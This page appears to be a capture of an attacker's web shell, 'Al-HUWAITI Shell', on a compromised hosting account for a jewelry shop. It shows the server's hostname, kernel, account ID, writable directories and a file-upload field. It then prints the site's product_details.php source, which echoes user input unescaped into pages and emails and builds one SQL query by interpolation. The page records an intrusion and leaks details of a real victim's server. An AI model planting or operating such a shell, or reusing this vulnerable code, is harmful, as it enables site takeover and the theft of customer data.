Al-HUWAITI Shell
Al-huwaiti


Server : LiteSpeed
System : Linux us-phx-web1202.main-hosting.eu 4.18.0-553.84.1.lve.el8.x86_64 #1 SMP Tue Nov 25 18:33:03 UTC 2025 x86_64
User : u615232177 ( 615232177)
PHP Version : 8.1.33
Disable Function : NONE
Directory :  /home/u615232177/domains/soniahjeweler.com/public_html/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/u615232177/domains/soniahjeweler.com/public_html/product_details.php
<?php use PHPMailer\PHPMailer\PHPMailer;use PHPMailer\PHPMailer\Exception;use PHPMailer\PHPMailer\SMTP; session_start();
$page_name = basename($_SERVER['PHP_SELF']); 
include("header.php"); ?>
<?php
if (isset($_GET['product'])){
	$product_id = mysqli_real_escape_string($con,$_GET['product']);
	$stmt = $con -> prepare('SELECT * FROM products WHERE product_id=?');
	$stmt -> bind_param('s',$product_id);
	$stmt -> execute(); 
	$stmt -> store_result(); 
	$stmt -> bind_result($product_id,$product_cat,$product_brand,$product_title,$product_price,$product_desc,$product_image,$product_keywords,$old_price,$new_tag,$home_products,$tags,$in_stock,$featured,$picture2,$picture3,$picture4,$picture5,$picture6);
	$numrows = $stmt -> num_rows();
	if($numrows > 0){
	while ($stmt -> fetch()) { 
    
  }
	}
	//get category name
	$get_categories = mysqli_query($con,"SELECT * FROM categories WHERE cat_id=$product_cat");
		$count_categories = mysqli_num_rows($get_categories);
		if($count_categories > 0){
			while($row = mysqli_fetch_array($get_categories)){
			$cat_id = $row["cat_id"];
			$cat_title = $row["cat_title"];
			}//end of while loop
		}
	
}
else{echo "<meta http-equiv=\"refresh\" content=\"0; url=index.php\">";exit();}
$msg='';$captcha_error=""; $errors=0;
if(isset($_GET['send_message'])){
    include("captcha_start.php");
    if($errors == 0){ 
    $first_name = $_GET['first_name'];
    $last_name = $_GET['last_name'];
    $email = $_GET['email'];
    $phone = $_GET['phone'];
    $message = $_GET['message'];
    $message1 = "
    First name - $first_name <br>
    Last name - $last_name <br>
    Email - $email <br>
    Phone - $phone <br>
    Message - $message <br>
    ";
    $date = date('Y-m-d H:i:s');
    $order_id = rand(100000,999999);
    $subject = "Order $order_id from $first_name $last_name on $date)";
    $status = "Pending";
    $db_id = 0;
    if($currency == "$"){
        $product_price = $product_price / $rate;
    } 
    $stmt = $con -> prepare('INSERT INTO orders VALUES (?,?,?,?,?,?,?,?,?,?,?,?)');
    $stmt -> bind_param('isssssssssss',$db_id,$order_id,$first_name,$last_name,$email,$phone,$message,$date,$currency,$product_price,$product_title,$status);
    $stmt -> execute();
    $msg = "Your message has been sent. We will get back to you shortly.";

    require 'PHPMailer/src/PHPMailer.php'; 
	require 'PHPMailer/src/SMTP.php'; 
	require 'PHPMailer/src/Exception.php';

	$mail = new PHPMailer();

	$mail->IsSMTP(); // telling the class to use SMTP
	$mail->SMTPAuth = true; // enable SMTP authentication
	$mail->Host = "smtp.titan.email"; // sets the SMTP server
	$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; // Set encryption to STARTTLS
    $mail->Port = 587; // Use port 587 for TLS
	$mail->Username = "$no_reply_email"; // SMTP account username
	$mail->Password = "$no_reply_password"; // SMTP account password
	$mail->SetFrom("$no_reply_email", "$company_name");//Use a fixed address in your own domain as the from address
    
	$mail->AddReplyTo("$email","$email"); //Put the submitter's address in a reply-to header
	$mail->Subject = "$subject";
	$mail->MsgHTML("<html><body>$message1</body></html>");
	$mail->AddAddress("$company_email", "Enquiry Form");//Send the message to yourself, or whoever should receive contact for submissions
	 
	//$mail->AddAttachment(""); // attachment

		if(!$mail->Send()) {
		
		} 
		else {
		
		}
    }
}

?>
<title><?php echo $company_name; ?> - <?php echo $product_title; ?></title>
<?php 
$page_title = $product_title;
include("page_header.php");
?>


   <!-- single__product__start -->
   <div class="single__product sp_top_50 sp_bottom_80">
    <div class="container">
        <div class="row">
            <div class="col-xl-6 col-lg-6 col-md-12">
                <div class="featurearea__details__img">

                    <div class="featurearea__big__img">
                        <div class="featurearea__single__big__img">
                            <img src="site_img/products/<?php echo $product_image; ?>" alt="Product Big Img">
                        </div>

                        <?php if($picture2 != ""){ ?>
                        <div class="featurearea__single__big__img">
                            <img src="site_img/products/<?php echo $picture2; ?>" alt="Product Big Img">
                        </div>
                        <?php } ?>

                        <?php if($picture3 != ""){ ?>
                        <div class="featurearea__single__big__img">
                            <img src="site_img/products/<?php echo $picture3; ?>" alt="Product Big Img">
                        </div>
                        <?php } ?>

                        <?php if($picture4 != ""){ ?>
                        <div class="featurearea__single__big__img">
                            <img src="site_img/products/<?php echo $picture4; ?>" alt="Product Big Img">
                        </div>
                        <?php } ?>

                        <?php if($picture5 != ""){ ?>
                        <div class="featurearea__single__big__img">
                            <img src="site_img/products/<?php echo $picture5; ?>" alt="Product Big Img">
                        </div>
                        <?php } ?>

                        <?php if($picture6 != ""){ ?>
                        <div class="featurearea__single__big__img">
                            <img src="site_img/products/<?php echo $picture6; ?>" alt="Product Big Img">
                        </div>
                        <?php } ?>

                       
                    </div>
                    <div class=" featurearea__thumb__img featurearea__thumb__img__slider__active slider__default__arrow">
                        <div class="featurearea__single__thumb__img">
                            <img src="site_img/products/<?php echo $product_image; ?>" alt="Product Big Img">
                        </div>
                        <?php if($picture2 !== ""){ ?>
                        <div class="featurearea__single__thumb__img">
                            <img src="site_img/products/<?php echo $picture2; ?>" alt="Product Big Img">
                        </div>
                        <?php } ?>
                        <?php if($picture3 !== ""){ ?>
                        <div class="featurearea__single__thumb__img">
                            <img src="site_img/products/<?php echo $picture3; ?>" alt="Product Big Img">
                        </div>
                        <?php } ?>
                        <?php if($picture4 !== ""){ ?>
                        <div class="featurearea__single__thumb__img">
                            <img src="site_img/products/<?php echo $picture4; ?>" alt="Product Big Img">
                        </div>
                        <?php } ?>
                        <?php if($picture5 !== ""){ ?>
                        <div class="featurearea__single__thumb__img">
                            <img src="site_img/products/<?php echo $picture5; ?>" alt="Product Big Img">
                        </div>
                        <?php } ?>
                        <?php if($picture6 !== ""){ ?>
                        <div class="featurearea__single__thumb__img">
                            <img src="site_img/products/<?php echo $picture6; ?>" alt="Product Big Img">
                        </div>
                        <?php } ?>
                    </div>

                </div>
            </div>
            <div class="col-xl-6 col-lg-6 col-md-12">
                <div class="single__product__wrap">
                    <div class="single__product__heding">
                        <h2><?= $product_title ?></h2>
                    </div>
                    <div class="single__product__price">
                        <span> <?php if($currency == "$"){
                    $product_price = $product_price / $rate;
                } ?>
                                <span class="current_price"><?= $currency ?><?= number_format((float)$product_price, 2, '.', ','); ?></span>
                        
                    </div>

                    <hr>


                    <div class="single__product__description">
                        <p><?= $product_desc ?></p>
                        
                    </div>
                    <h2><?= $msg ?></h2>
        <form action="product_details.php?product=<?= $product_id ?>" method="get" style='width:100%;'>
            <input type="hidden" name="product" value="<?= $product_id ?>">
            <input type="text" class='form-control' name="first_name" placeholder='First Name' <?php if( isset($_SESSION['first_name']) ){echo"value='$first_name' readonly";} ?> required> <br>
            <input type="text" class='form-control' name="last_name" placeholder='Last Name' <?php if( isset($_SESSION['last_name']) ){echo"value='$last_name' readonly";} ?> required> <br>
            <input type="email" class='form-control' name="email" placeholder='Email' <?php if( isset($_SESSION['email']) ){echo"value='$email' readonly";} ?> required> <br>
            <input type="text" class='form-control' name="phone" placeholder='Phone (Optional)' <?php if( isset($_SESSION['phone']) ){echo"value='$phone'";} ?>> <br>
            <textarea name="message" class='form-control' required>I would like to purchase this item</textarea> <br>
            <button name='send_message' class="btn btn-primary" type="submit">Send Message</button>
        </form>
            </div>
            </div>
            </div></div></div>
<?php include("footer.php"); ?>

Al-HUWAITI Shell